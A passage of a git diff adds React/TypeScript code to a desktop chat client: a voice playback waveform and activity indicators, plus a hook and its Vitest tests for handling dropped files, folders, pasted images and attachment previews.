+              'w-0.5 rounded-full bg-current transition-[height,opacity] duration-100 ease-out',
+              active ? 'opacity-80' : 'animate-pulse opacity-45'
+            )}
+            key={index}
+            style={{ height: `${height * 100}%` }}
+          />
+        )
+      })}
+    </div>
+  )
+}
+
+function getElementAnalyser(audioElement: HTMLAudioElement): ElementAnalyser | null {
+  let entry = elementAnalysers.get(audioElement)
+
+  if (!entry) {
+    const context = getPlaybackAudioContext()
+
+    if (!context) {
+      return null
+    }
+
+    const source = context.createMediaElementSource(audioElement)
+    const analyser = context.createAnalyser()
+
+    analyser.fftSize = 512
+    analyser.smoothingTimeConstant = 0.65
+    source.connect(analyser)
+    analyser.connect(context.destination)
+    entry = { analyser }
+    elementAnalysers.set(audioElement, entry)
+  }
+
+  void playbackAudioContext?.resume()
+
+  return entry
+}
+
+const WAVE_W = 88
+const WAVE_H = 16
+const BAR_W = 2
+const BAR_GAP = 5
+const STEP = BAR_W + BAR_GAP
+const BARS = Math.floor((WAVE_W + BAR_GAP) / STEP)
+const X0 = Math.round((WAVE_W - (BARS * STEP - BAR_GAP)) / 2)
+
+function PlaybackWaveform({ audioElement }: { audioElement: HTMLAudioElement | null }) {
+  const canvasRef = useRef<HTMLCanvasElement | null>(null)
+
+  useEffect(() => {
+    const canvas = canvasRef.current
+
+    if (!canvas || !audioElement) {
+      return
+    }
+
+    const entry = getElementAnalyser(audioElement)
+    const ctx = canvas.getContext('2d')
+
+    if (!entry || !ctx) {
+      return
+    }
+
+    const dpr = Math.max(1, window.devicePixelRatio || 1)
+    const { analyser } = entry
+    const buf = new Uint8Array(analyser.frequencyBinCount)
+    const hi = Math.floor(buf.length * 0.9)
+
+    canvas.width = Math.round(WAVE_W * dpr)
+    canvas.height = Math.round(WAVE_H * dpr)
+    canvas.style.width = `${WAVE_W}px`
+    canvas.style.height = `${WAVE_H}px`
+    ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
+    ctx.imageSmoothingEnabled = false
+    ctx.fillStyle = getComputedStyle(canvas).color
+
+    let raf = 0
+
+    const tick = () => {
+      analyser.getByteFrequencyData(buf)
+      ctx.clearRect(0, 0, WAVE_W, WAVE_H)
+
+      for (let i = 0; i < BARS; i++) {
+        const a = Math.floor((i / BARS) * hi)
+        const b = Math.floor(((i + 1) / BARS) * hi)
+        let peak = 0
+
+        for (let j = a; j < b; j++) {
+          peak = Math.max(peak, buf[j] ?? 0)
+        }
+
+        const amp = Math.sqrt(peak / 255)
+        const bh = Math.max(3, Math.round((0.18 + amp * 0.82) * WAVE_H))
+        ctx.fillRect(X0 + i * STEP, Math.round((WAVE_H - bh) / 2), BAR_W, bh)
+      }
+
+      raf = requestAnimationFrame(tick)
+    }
+
+    tick()
+
+    return () => cancelAnimationFrame(raf)
+  }, [audioElement])
+
+  return <canvas aria-hidden="true" className="block h-4 w-[88px]" ref={canvasRef} />
+}
+
+export function VoiceActivity({ state }: { state: VoiceActivityState }) {
+  const { t } = useI18n()
+
+  if (state.status === 'idle') {
+    return null
+  }
+
+  const recording = state.status === 'recording'
+  const title = recording ? t.composer.dictating : t.composer.transcribing
+
+  return (
+    <div
+      aria-live="polite"
+      className={cn(
+        'flex h-8 items-center gap-2 rounded-xl border border-border/55 bg-muted/55 px-2.5 text-xs text-muted-foreground',
+        'shadow-[inset_0_1px_0_rgba(255,255,255,0.35)] backdrop-blur-sm'
+      )}
+      role="status"
+    >
+      <div
+        className={cn(
+          'flex size-5 shrink-0 items-center justify-center rounded-full',
+          recording ? 'bg-primary/15 text-primary' : 'bg-primary/10 text-primary'
+        )}
+      >
+        {recording ? <Mic className={iconSize.xs} /> : <Loader2 className={cn('animate-spin', iconSize.xs)} />}
+      </div>
+
+      <div className="flex min-w-0 flex-1 items-center gap-2">
+        <span className="truncate font-medium text-foreground/85">{title}</span>
+        <span className="font-mono text-[0.6875rem] text-muted-foreground/85">
+          {formatElapsed(state.elapsedSeconds)}
+        </span>
+      </div>
+
+      <VoiceLevelBars active={recording} level={state.level} />
+    </div>
+  )
+}
+
+export function VoicePlaybackActivity() {
+  const { t } = useI18n()
+  const playback = useStore($voicePlayback)
+
+  if (playback.status === 'idle') {
+    return null
+  }
+
+  const preparing = playback.status === 'preparing'
+
+  const title = preparing
+    ? t.composer.preparingAudio
+    : playback.source === 'voice-conversation'
+      ? t.composer.speakingResponse
+      : t.composer.readingAloud
+
+  return (
+    <div
+      aria-live="polite"
+      className={cn(
+        'flex h-8 items-center gap-2 rounded-xl border border-primary/20 bg-primary/10 px-2.5 text-xs text-primary',
+        'shadow-[inset_0_1px_0_rgba(255,255,255,0.35)] backdrop-blur-sm'
+      )}
+      role="status"
+    >
+      <div className="flex size-5 shrink-0 items-center justify-center rounded-full bg-primary/15 text-primary">
+        {preparing ? <Loader2 className={cn('animate-spin', iconSize.xs)} /> : <Volume2 className={iconSize.xs} />}
+      </div>
+
+      <div className="flex min-w-0 flex-1 items-center gap-2">
+        <span className="truncate font-medium text-foreground/85">{title}</span>
+        {!preparing && <PlaybackWaveform audioElement={playback.audioElement} />}
+      </div>
+
+      <Button
+        className="h-6 shrink-0 gap-1 rounded-full px-2 text-[0.6875rem]"
+        onClick={stopVoicePlayback}
+        size="sm"
+        type="button"
+        variant="ghost"
+      >
+        <VolumeX className={iconSize.xs} />
+        Stop
+      </Button>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/chat/hooks/use-composer-actions.test.ts b/ui-desktop/src/app/chat/hooks/use-composer-actions.test.ts
new file mode 100644
index 000000000..a8187bfdb
--- /dev/null
+++ b/ui-desktop/src/app/chat/hooks/use-composer-actions.test.ts
@@ -0,0 +1,246 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { $connection } from '@/store/session'
+
+import {
+  attachmentPreviewDataUrl,
+  CLAWCODEX_PATHS_MIME,
+  type DroppedFile,
+  extractDroppedFiles,
+  partitionDroppedFiles
+} from './use-composer-actions'
+
+// A Finder/Explorer drop carries a native File handle; an in-app drag (project
+// tree, gutter line ref) is path-only. The split decides whether a drop becomes
+// an inline @file: ref (in-app, workspace-relative, gateway-resolvable) or goes
+// through the upload pipeline (OS drop — absolute local path a remote gateway
+// can't read, plus image bytes for vision).
+const osDrop = (path: string): DroppedFile => ({ file: new File(['x'], path.split('/').pop() || 'f'), path })
+const inAppRef = (path: string, extra: Partial<DroppedFile> = {}): DroppedFile => ({ path, ...extra })
+
+describe('partitionDroppedFiles', () => {
+  it('routes File-bearing OS drops to osDrops and path-only in-app drags to inAppRefs', () => {
+    const finderPdf = osDrop('/Users/mahmoud/Downloads/DEVIS_signed.pdf')
+    const projectFile = inAppRef('src/index.ts')
+
+    const { inAppRefs, osDrops } = partitionDroppedFiles([finderPdf, projectFile])
+
+    expect(osDrops).toEqual([finderPdf])
+    expect(inAppRefs).toEqual([projectFile])
+  })
+
+  it('treats an OS screenshot drop as an upload target (so it gets byte upload + vision)', () => {
+    const screenshot = osDrop('/var/folders/tmp/Screenshot 2026-06-09.png')
+
+    const { inAppRefs, osDrops } = partitionDroppedFiles([screenshot])
+
+    expect(osDrops).toEqual([screenshot])
+    expect(inAppRefs).toEqual([])
+  })
+
+  it('keeps gutter line-range drags inline (no File handle)', () => {
+    const lineRef = inAppRef('src/app.ts', { line: 10, lineEnd: 20 })
+
+    const { inAppRefs, osDrops } = partitionDroppedFiles([lineRef])
+
+    expect(osDrops).toEqual([])
+    expect(inAppRefs).toEqual([lineRef])
+  })
+
+  it('routes an OS folder drop (path-only, isDirectory) to inAppRefs, not the upload pipeline', () => {
+    // extractDroppedFiles emits a dropped directory as a path-only entry so it
+    // stays a @folder: ref instead of hitting file.attach, which can't stage a
+    // directory ("file not found on gateway and no data_url provided").
+    const folder = inAppRef('/Users/jeff/projects/clawcodex', { isDirectory: true })
+
+    const { inAppRefs, osDrops } = partitionDroppedFiles([folder])
+
+    expect(osDrops).toEqual([])
+    expect(inAppRefs).toEqual([folder])
+  })
+
+  it('splits a mixed drop and preserves order within each group', () => {
+    const a = inAppRef('a.ts')
+    const b = osDrop('/abs/b.pdf')
+    const c = inAppRef('c.ts')
+    const d = osDrop('/abs/d.png')
+
+    const { inAppRefs, osDrops } = partitionDroppedFiles([a, b, c, d])
+
+    expect(inAppRefs).toEqual([a, c])
+    expect(osDrops).toEqual([b, d])
+  })
+
+  it('returns empty groups for an empty drop', () => {
+    expect(partitionDroppedFiles([])).toEqual({ inAppRefs: [], osDrops: [] })
+  })
+})
+
+// Minimal DataTransfer stand-in. A real OS drop populates BOTH `items` (which
+// alone carries webkitGetAsEntry for folder detection) and `files`; the mock
+// mirrors that so the dedup path is exercised too.
+interface StubEntry {
+  path: string
+  isDirectory: boolean
+}
+
+function stubTransfer(entries: StubEntry[], internalRaw = ''): DataTransfer & { _pathByFile: Map<File, string> } {
+  const files = entries.map(entry => new File(['x'], entry.path.split('/').pop() || 'f'))
+  const pathByFile = new Map(files.map((file, i) => [file, entries[i].path]))
+
+  const items: Record<number | string, unknown> = { length: entries.length }
+  entries.forEach((entry, i) => {
+    items[i] = {
+      kind: 'file' as const,
+      getAsFile: () => files[i],
+      webkitGetAsEntry: () => ({ isDirectory: entry.isDirectory, isFile: !entry.isDirectory })
+    }
+  })
+
+  return {
+    getData: (mime: string) => (mime === CLAWCODEX_PATHS_MIME ? internalRaw : ''),
+    files: {
+      length: files.length,
+      item: (i: number) => files[i] ?? null
+    },
+    items,
+    _pathByFile: pathByFile
+  } as unknown as DataTransfer & { _pathByFile: Map<File, string> }
+}
+
+describe('extractDroppedFiles', () => {
+  afterEach(() => {
+    vi.unstubAllGlobals()
+  })
+
+  const stubBridge = (transfer: DataTransfer & { _pathByFile: Map<File, string> }) => {
+    vi.stubGlobal('window', {
+      clawcodexDesktop: {
+        getPathForFile: (file: File) => transfer._pathByFile.get(file) ?? ''
+      }
+    })
+  }
+
+  it('emits a dropped directory as a path-only entry with isDirectory (no File to upload)', () => {
+    const transfer = stubTransfer([{ path: '/Users/jeff/projects/clawcodex', isDirectory: true }]) as DataTransfer & {
+      _pathByFile: Map<File, string>
+    }
+
+    stubBridge(transfer)
+
+    const result = extractDroppedFiles(transfer)
+
+    expect(result).toHaveLength(1)
+    expect(result[0]?.isDirectory).toBe(true)
+    expect(result[0]?.path).toBe('/Users/jeff/projects/clawcodex')
+    // A directory carries no bytes — it must NOT ride the File/upload pipeline.
+    expect(result[0]?.file).toBeUndefined()
+    // And it partitions as an in-app ref (→ @folder:), never an OS upload drop.
+    expect(partitionDroppedFiles(result).osDrops).toEqual([])
+  })
+
+  it('still emits a dropped file with its native File handle for the upload pipeline', () => {
+    const transfer = stubTransfer([
+      { path: '/Users/jeff/Downloads/report.pdf', isDirectory: false }
+    ]) as DataTransfer & { _pathByFile: Map<File, string> }
+
+    stubBridge(transfer)
+
+    const result = extractDroppedFiles(transfer)
+
+    expect(result).toHaveLength(1)
+    expect(result[0]?.isDirectory).toBeFalsy()
+    expect(result[0]?.path).toBe('/Users/jeff/Downloads/report.pdf')
+    expect(result[0]?.file).toBeInstanceOf(File)
+    expect(partitionDroppedFiles(result).osDrops).toHaveLength(1)
+  })
+
+  it('classifies a mixed folder+file drop independently', () => {
+    const transfer = stubTransfer([
+      { path: '/abs/src', isDirectory: true },
+      { path: '/abs/notes.txt', isDirectory: false }
+    ]) as DataTransfer & { _pathByFile: Map<File, string> }
+
+    stubBridge(transfer)
+
+    const result = extractDroppedFiles(transfer)
+    const { inAppRefs, osDrops } = partitionDroppedFiles(result)
+
+    expect(inAppRefs.map(entry => entry.path)).toEqual(['/abs/src'])
+    expect(inAppRefs[0]?.isDirectory).toBe(true)
+    expect(osDrops.map(entry => entry.path)).toEqual(['/abs/notes.txt'])
+  })
+
+  it('does not duplicate a folder that appears in both items and files', () => {
+    // Chromium lists a dropped folder in transfer.files too (as a size-0 File);
+    // the items pass claims its path first so the files fallback skips it.
+    const transfer = stubTransfer([{ path: '/abs/project', isDirectory: true }]) as DataTransfer & {
+      _pathByFile: Map<File, string>
+    }
+
+    stubBridge(transfer)
+
+    const result = extractDroppedFiles(transfer)
+
+    expect(result).toHaveLength(1)
+    expect(result[0]?.isDirectory).toBe(true)
+  })
+})
+
+describe('attachmentPreviewDataUrl', () => {
+  const LOCAL_PREVIEW = 'data:image/png;base64,bG9jYWw='
+  const REMOTE_PREVIEW = 'data:image/png;base64,cmVtb3Rl'
+
+  afterEach(() => {
+    vi.unstubAllGlobals()
+    vi.clearAllMocks()
+    $connection.set(null)
+  })
+
+  it('reads a local path via the local bridge even in remote mode (paperclip/paste/OS drop)', async () => {
+    const readFileDataUrl = vi.fn(async () => LOCAL_PREVIEW)
+    const api = vi.fn()
+
+    vi.stubGlobal('window', { clawcodexDesktop: { api, readFileDataUrl } })
+    $connection.set({ mode: 'remote' } as never)
+
+    await expect(attachmentPreviewDataUrl('/Users/me/Pictures/pic.png')).resolves.toBe(LOCAL_PREVIEW)
+
+    expect(readFileDataUrl).toHaveBeenCalledWith('/Users/me/Pictures/pic.png')
+    expect(api).not.toHaveBeenCalled()
+  })
+
+  it('falls back to the remote fs bridge when the path is not on this machine (project-tree drag)', async () => {
+    const readFileDataUrl = vi.fn(async () => {
+      throw new Error('ENOENT')
+    })
+
+    const api = vi.fn(async ({ path }: { path: string }) => {
+      if (path.startsWith('/api/fs/read-data-url?')) {
+        return { dataUrl: REMOTE_PREVIEW }
+      }
+
+      throw new Error(`unexpected path ${path}`)
+    })
+
+    vi.stubGlobal('window', { clawcodexDesktop: { api, readFileDataUrl } })
+    $connection.set({ mode: 'remote' } as never)
+
+    await expect(attachmentPreviewDataUrl('/home/gateway/shot.png')).resolves.toBe(REMOTE_PREVIEW)
+
+    expect(api).toHaveBeenCalledWith({
+      path: '/api/fs/read-data-url?path=%2Fhome%2Fgateway%2Fshot.png'
+    })
+  })
+
+  it('falls back when the local bridge returns an empty read', async () => {
+    const readFileDataUrl = vi.fn(async () => '')
+
+    const api = vi.fn(async () => ({ dataUrl: REMOTE_PREVIEW }))
+
+    vi.stubGlobal('window', { clawcodexDesktop: { api, readFileDataUrl } })
+    $connection.set({ mode: 'remote' } as never)
+
+    await expect(attachmentPreviewDataUrl('/home/gateway/shot.png')).resolves.toBe(REMOTE_PREVIEW)
+  })
+})
diff --git a/ui-desktop/src/app/chat/hooks/use-composer-actions.ts b/ui-desktop/src/app/chat/hooks/use-composer-actions.ts
new file mode 100644
index 000000000..8aac9c098
--- /dev/null
+++ b/ui-desktop/src/app/chat/hooks/use-composer-actions.ts
@@ -0,0 +1,662 @@
+import { useCallback } from 'react'
+
+import { requestComposerFocus, requestComposerInsert, requestComposerInsertRefs } from '@/app/chat/composer/focus'
+import { droppedFileInlineRef } from '@/app/chat/composer/inline-refs'
+import { formatRefValue } from '@/components/assistant-ui/directive-text'
+import { useI18n } from '@/i18n'
+import { attachmentId, contextPath, pathLabel } from '@/lib/chat-runtime'
+import { readDesktopFileDataUrl, selectDesktopPaths } from '@/lib/desktop-fs'
+import { normalize } from '@/lib/text'
+import {
+  addComposerAttachment,
+  type ComposerAttachment,
+  removeComposerAttachment,
+  setComposerTerminalSelection
+} from '@/store/composer'
+import { notify, notifyError } from '@/store/notifications'
+
+import type { ImageDetachResponse } from '../../types'
+
+const IMAGE_EXTENSION_PATTERN = /\.(png|jpe?g|gif|webp|bmp|tiff?|svg|ico)$/i
+
+const BLOB_MIME_EXTENSION: Record<string, string> = {
+  'image/bmp': '.bmp',
+  'image/gif': '.gif',
+  'image/jpeg': '.jpg',
+  'image/png': '.png',
+  'image/svg+xml': '.svg',
+  'image/tiff': '.tiff',
+  'image/webp': '.webp',
+  'image/x-icon': '.ico'
+}
+
+function blobExtension(blob: Blob): string {
+  const mime = normalize(blob.type.split(';')[0])
+
+  return BLOB_MIME_EXTENSION[mime] || '.png'
+}
+
+export function isImagePath(filePath: string): boolean {
+  return IMAGE_EXTENSION_PATTERN.test(filePath)
+}
+
+/**
+ * Read an attachment's thumbnail preview, local disk first. Paperclip picks,
+ * clipboard saves, and OS drops always hand us paths on THIS machine — the
+ * remote-routed fs facade would 404 them against the gateway and toast a bogus
+ * "preview failed" even though the attach itself works (upload reads local
+ * bytes too). In-app drags from the remote project tree are the opposite case:
+ * the local read fails there, so fall back to the facade (remote fs bridge).
+ * In local mode the facade IS the local bridge, so this stays a single read.
+ */
+export async function attachmentPreviewDataUrl(filePath: string): Promise<string> {
+  try {
+    const local = await window.clawcodexDesktop?.readFileDataUrl?.(filePath)
+
+    if (local) {
+      return local
+    }
+  } catch {
+    // Not on this machine (or unreadable locally) — try the gateway.
+  }
+
+  return readDesktopFileDataUrl(filePath)
+}
+
+export interface DroppedFile {
+  /** Browser-native File handle. Absent for in-app drags (e.g. project tree). */
+  file?: File
+  /** Absolute filesystem path. Empty when an OS drop didn't carry one. */
+  path: string
+  /** True if the entry is a directory. Set by in-app drags, and by OS drops via
+   * DataTransferItem.webkitGetAsEntry(). */
+  isDirectory?: boolean
+  /** First line number for in-app line-ref drags (source view gutter). */
+  line?: number
+  /** Last line number for line-range drags (`line..lineEnd` inclusive). */
+  lineEnd?: number
+}
+
+/** MIME emitted by in-app drag sources (project tree, gutter line numbers).
+ * Payload is JSON `{ path; isDirectory?; line?; lineEnd? }[]`. */
+export const CLAWCODEX_PATHS_MIME = 'application/x-clawcodex-paths'
+
+/**
+ * Eagerly resolve files from a drop event into [File?, path, isDirectory?]
+ * triples. Internal ClawCodex sources (e.g. the project tree) ride on a custom
+ * MIME and produce path-only entries; OS drops produce File-bearing entries.
+ *
+ * Must be called synchronously from inside the drop handler — `DataTransfer`
+ * items are detached as soon as the handler returns, and `webUtils.getPathForFile`
+ * also requires the original (non-cloned) File reference.
+ */
+export function extractDroppedFiles(transfer: DataTransfer): DroppedFile[] {
+  const result: DroppedFile[] = []
+  const seenPaths = new Set<string>()
+  const seenFiles = new Set<File>()
+  const getPath = window.clawcodexDesktop?.getPathForFile
+
+  // In-app drags first — they carry richer metadata (isDirectory) than the
+  // File-based fallback can provide, and produce no overlapping native files.
+  try {
+    const internalRaw = transfer.getData(CLAWCODEX_PATHS_MIME)
+
+    if (internalRaw) {
+      const parsed = JSON.parse(internalRaw) as {
+        path?: unknown
+        isDirectory?: unknown
+        line?: unknown
+        lineEnd?: unknown
+      }[]
+
+      const positiveInt = (value: unknown) => (typeof value === 'number' && value > 0 ? Math.floor(value) : undefined)
+
+      for (const entry of parsed) {
+        if (!entry || typeof entry.path !== 'string' || !entry.path) {
+          continue
+        }
+
+        const line = positiveInt(entry.line)
+        const rawEnd = positiveInt(entry.lineEnd)
+        const lineEnd = line && rawEnd && rawEnd > line ? rawEnd : undefined
+        const dedupKey = line ? `${entry.path}:${line}-${lineEnd ?? line}` : entry.path
+
+        if (seenPaths.has(dedupKey)) {
+          continue
+        }
+
+        seenPaths.add(dedupKey)
+        result.push({ isDirectory: entry.isDirectory === true, line, lineEnd, path: entry.path })
+      }
+    }
+  } catch {
+    // Malformed payload — fall through to native files.
+  }
+
+  // Add a native OS-drop entry. A dropped directory has no byte content to
+  // upload, so it's emitted as a path-only entry with `isDirectory: true` —
+  // that routes it to a `@folder:` ref / folder attachment (like the folder
+  // picker) instead of the file-upload pipeline, which can't stage a directory
+  // (the gateway can't read its bytes and there's no data_url to send).
+  const pushNativeEntry = (file: File, isDirectory: boolean) => {
+    if (seenFiles.has(file)) {
+      return
+    }
+
+    seenFiles.add(file)
+    let path = ''
+
+    if (getPath) {
+      try {
+        path = getPath(file) || ''
+      } catch {
+        path = ''
+      }
+    }
+
+    if (path && seenPaths.has(path)) {
+      return
+    }
+
+    if (path) {
+      seenPaths.add(path)
+    }
+
+    if (isDirectory) {
+      if (path) {
+        result.push({ isDirectory: true, path })
+      }
+
+      return
+    }
+
+    result.push({ file, path })
+  }
+
+  // Process items first: DataTransferItem.webkitGetAsEntry() is the only
+  // synchronous way to tell a dropped folder from a file, and it lives only on
+  // items (not transfer.files). Must be read here, inside the drop handler,
+  // before the DataTransfer detaches.
+  const items = transfer.items
+
+  if (items) {
+    for (let i = 0; i < items.length; i += 1) {
+      const item = items[i]
+
+      if (!item || item.kind !== 'file') {
+        continue
+      }
+
+      let isDirectory = false
+
+      try {
+        const entry = typeof item.webkitGetAsEntry === 'function' ? item.webkitGetAsEntry() : null
+        isDirectory = entry?.isDirectory === true
+      } catch {
+        isDirectory = false
+      }
+
+      const file = item.getAsFile()
+
+      if (!file) {
+        continue
+      }
+
+      pushNativeEntry(file, isDirectory)
+    }
+  }
+
+  // Fallback for environments that populate transfer.files but not items.
+  // webkitGetAsEntry isn't available on this path, so directory detection
+  // relies on the items pass above; anything reaching here is treated as a file.
+  const fileList = transfer.files
+
+  if (fileList) {
+    for (let i = 0; i < fileList.length; i += 1) {
+      const file = fileList.item(i)
+
+      if (!file) {
+        continue
+      }
+
+      pushNativeEntry(file, false)
+    }
+  }
+
+  return result
+}
+
+/**
+ * Split dropped entries by origin. OS/Finder drops carry a native `File`
+ * handle; in-app drags (project tree, gutter line refs) are path-only.
+ *
+ * The distinction is load-bearing: an in-app path is workspace-relative and
+ * resolves on the gateway as-is, so it stays an inline `@file:`/`@line:` ref.
+ * An OS drop is an absolute path on *this* machine — the gateway can't read it
+ * in remote mode, and an image needs its bytes uploaded to get vision either
+ * way. So OS drops must go through the attachment/upload pipeline rather than
+ * leaking a local path into the prompt text.
+ */
+export function partitionDroppedFiles(candidates: DroppedFile[]): {
+  osDrops: DroppedFile[]
+  inAppRefs: DroppedFile[]
+} {
+  const osDrops: DroppedFile[] = []
+  const inAppRefs: DroppedFile[] = []
+
+  for (const candidate of candidates) {
+    if (candidate.file) {
+      osDrops.push(candidate)
+    } else {
+      inAppRefs.push(candidate)
+    }
+  }
+
+  return { osDrops, inAppRefs }
+}
+
+/** The composer these actions feed. Defaults to the main chat's scope;
+ *  session tiles pass their own so picks/drops/pastes land in THEIR chips. */
+interface ComposerActionsScope {
+  add: (attachment: ComposerAttachment) => void
+  remove: (id: string) => ComposerAttachment | null
+  target: string
+}
+
+const MAIN_ACTIONS_SCOPE: ComposerActionsScope = {
+  add: addComposerAttachment,
+  remove: removeComposerAttachment,
+  target: 'main'
+}
+
+interface ComposerActionsOptions {
+  activeSessionId: string | null
+  currentCwd: string
+  requestGateway: <T>(method: string, params?: Record<string, unknown>) => Promise<T>
+  scope?: ComposerActionsScope
+}
+
+export function useComposerActions({
+  activeSessionId,
+  currentCwd,
+  requestGateway,
+  scope = MAIN_ACTIONS_SCOPE
+}: ComposerActionsOptions) {
+  const { t } = useI18n()
+  const copy = t.desktop
+
+  /** Add to this scope's composer and focus it. All sidebar/picker/drop
+   *  attach paths funnel through here. */
+  const attachToMain = useCallback(
+    (attachment: ComposerAttachment) => {
+      scope.add(attachment)
+      requestComposerFocus(scope.target)
+    },
+    [scope]
+  )
+
+  const addTextToDraft = useCallback((text: string) => {
+    requestComposerInsert(text, { mode: 'block' })
+  }, [])
+
+  const addTerminalSelectionAttachment = useCallback((text: string, label = 'selection') => {
+    const trimmed = text.trim()
+    const normalizedLabel = label.trim() || 'selection'
+    const refText = `@terminal:${formatRefValue(normalizedLabel)}`
+
+    if (!trimmed) {
+      return
+    }
+
+    setComposerTerminalSelection(normalizedLabel, trimmed)
+    requestComposerInsert(refText, { mode: 'inline' })
+  }, [])
+
+  const addContextRefAttachment = useCallback(
+    (refText: string, label?: string, detail?: string) => {
+      const kind: ComposerAttachment['kind'] = refText.startsWith('@folder:')
+        ? 'folder'
+        : refText.startsWith('@url:')
+          ? 'url'
+          : 'file'
+
+      attachToMain({
+        id: attachmentId(kind, refText),
+        kind,
+        label: label || refText.replace(/^@(file|folder|url):/, ''),
+        detail,
+        refText
+      })
+    },
+    [attachToMain]
+  )
+
+  const pickContextPaths = useCallback(
+    async (kind: 'file' | 'folder') => {
+      const paths = await selectDesktopPaths({
+        title: kind === 'file' ? 'Add files as context' : 'Add folders as context',
+        defaultPath: currentCwd || undefined,
+        directories: kind === 'folder'
+      })
+
+      if (!paths?.length) {
+        return
+      }
+
+      for (const path of paths) {
+        const rel = contextPath(path, currentCwd)
+
+        attachToMain({
+          id: attachmentId(kind, rel),
+          kind,
+          label: pathLabel(path),
+          detail: rel,
+          refText: `@${kind}:${formatRefValue(rel)}`,
+          path
+        })
+      }
+    },
+    [attachToMain, currentCwd]
+  )
+
+  const insertContextPathInlineRef = useCallback(
+    (path: string, isDirectory = false) => {
+      if (!path) {
+        return false
+      }
+
+      const ref = droppedFileInlineRef({ isDirectory, path }, currentCwd)
+
+      if (!ref) {
+        return false
+      }
+
+      requestComposerInsertRefs([ref], { target: scope.target })
+      requestComposerFocus(scope.target)
+
+      return true
+    },
+    [currentCwd, scope.target]
+  )
+
+  const attachContextFilePath = useCallback(
+    (filePath: string) => {
+      if (!filePath) {
+        return false
+      }
+
+      const rel = contextPath(filePath, currentCwd)
+
+      attachToMain({
+        id: attachmentId('file', rel),
+        kind: 'file',
+        label: pathLabel(filePath),
+        detail: rel,
+        refText: `@file:${formatRefValue(rel)}`,
+        path: filePath
+      })
+
+      return true
+    },
+    [attachToMain, currentCwd]
+  )
+
+  const attachImagePath = useCallback(
+    async (filePath: string) => {
+      if (!filePath) {
+        return false
+      }
+
+      const baseAttachment: ComposerAttachment = {
+        id: attachmentId('image', filePath),
+        kind: 'image',
+        label: pathLabel(filePath),
+        detail: filePath,
+        path: filePath
+      }
+
+      attachToMain(baseAttachment)
+
+      try {
+        const previewUrl = await attachmentPreviewDataUrl(filePath)
+
+        if (previewUrl) {
+          scope.add({ ...baseAttachment, previewUrl })
+        }
+
+        return true
+      } catch (err) {
+        notifyError(err, copy.imagePreviewFailed)
+
+        return true
+      }
+    },
+    [attachToMain, copy.imagePreviewFailed, scope]
+  )
+
+  const attachImageBlob = useCallback(
+    async (blob: Blob) => {
+      if (blob.size === 0) {
+        return false
+      }
+
+      if (blob.type && !blob.type.startsWith('image/')) {
+        return false
+      }
+
+      try {
+        const buffer = await blob.arrayBuffer()
+        const data = new Uint8Array(buffer)
+        const savedPath = await window.clawcodexDesktop?.saveImageBuffer(data, blobExtension(blob))
+
+        if (!savedPath) {
+          notify({ kind: 'error', title: copy.imageAttach, message: copy.imageWriteFailed })
+
+          return false
+        }
+
+        return attachImagePath(savedPath)
+      } catch (err) {
+        notifyError(err, copy.imageAttachFailed)
+
+        return false
+      }
+    },
+    [attachImagePath, copy.imageAttach, copy.imageAttachFailed, copy.imageWriteFailed]
+  )
+
+  const pickImages = useCallback(async () => {
+    const paths = await selectDesktopPaths({
+      title: copy.attachImages,
+      defaultPath: currentCwd || undefined,
+      filters: [
+        {
+          name: t.composer.images,
+          extensions: ['png', 'jpg', 'jpeg', 'gif', 'webp', 'bmp', 'tiff']
+        }
+      ]
+    })
+
+    if (!paths?.length) {
+      return
+    }
+
+    for (const path of paths) {
+      await attachImagePath(path)
+    }
+  }, [attachImagePath, copy.attachImages, currentCwd, t.composer.images])
+
+  const pasteClipboardImage = useCallback(
+    async ({ silent = false }: { silent?: boolean } = {}) => {
+      try {
+        const path = await window.clawcodexDesktop?.saveClipboardImage()
+
+        if (!path) {
+          if (!silent) {
+            notify({
+              kind: 'warning',
+              title: copy.clipboard,
+              message: copy.noClipboardImage
+            })
+          }
+
+          return false
+        }
+
+        await attachImagePath(path)
+
+        return true
+      } catch (err) {
+        if (!silent) {
+          notifyError(err, copy.clipboardPasteFailed)
+        }
+
+        return false
+      }
+    },
+    [attachImagePath, copy.clipboard, copy.clipboardPasteFailed, copy.noClipboardImage]
+  )
+
+  const attachContextFolderPath = useCallback(
+    (folderPath: string) => {
+      if (!folderPath) {
+        return false
+      }
+
+      const rel = contextPath(folderPath, currentCwd)
+
+      attachToMain({
+        id: attachmentId('folder', rel),
+        kind: 'folder',
+        label: pathLabel(folderPath),
+        detail: rel,
+        refText: `@folder:${formatRefValue(rel)}`,
+        path: folderPath
+      })
+
+      return true
+    },
+    [attachToMain, currentCwd]
+  )
+
+  const attachDroppedItems = useCallback(
+    async (candidates: DroppedFile[]) => {
+      if (candidates.length === 0) {
+        return false
+      }
+
+      let attached = false
+      let lastFailure: string | null = null
+
+      for (const candidate of candidates) {
+        const { file, isDirectory, path: knownPath } = candidate
+
+        // Path-only entry (in-app drag from the file browser tree, etc.).
+        if (!file) {
+          if (isDirectory) {
+            if (knownPath && attachContextFolderPath(knownPath)) {
+              attached = true
+
+              continue
+            }
+
+            lastFailure = `Could not attach folder ${knownPath || ''}`
+
+            continue
+          }
+
+          if (knownPath && isImagePath(knownPath)) {
+            if (await attachImagePath(knownPath)) {
+              attached = true
+
+              continue
+            }
+
+            lastFailure = `Could not attach ${knownPath}`
+
+            continue
+          }
+
+          if (knownPath && attachContextFilePath(knownPath)) {
+            attached = true
+
+            continue
+          }
+
+          lastFailure = `Could not attach ${knownPath || 'file'}`
+
+          continue
+        }
+
+        const fallbackPath =
+          !knownPath && window.clawcodexDesktop?.getPathForFile ? window.clawcodexDesktop.getPathForFile(file) : ''
+
+        const filePath = knownPath || fallbackPath || ''
+        const isImage = file.type.startsWith('image/') || isImagePath(file.name) || (filePath && isImagePath(filePath))
+
+        if (isImage) {
+          if ((filePath && (await attachImagePath(filePath))) || (await attachImageBlob(file))) {
+            attached = true
+
+            continue
+          }
+
+          lastFailure = `Could not attach ${file.name || 'image'}`
+
+          continue
+        }
+
+        if (filePath && attachContextFilePath(filePath)) {
+          attached = true
+
+          continue
+        }
+
+        lastFailure = `Could not attach ${file.name || 'file'}`
+      }
+
+      if (!attached && lastFailure) {
+        notify({ kind: 'warning', title: copy.dropFiles, message: lastFailure })
+      }
+
+      return attached
+    },
+    [attachContextFilePath, attachContextFolderPath, attachImageBlob, attachImagePath, copy.dropFiles]
+  )
+
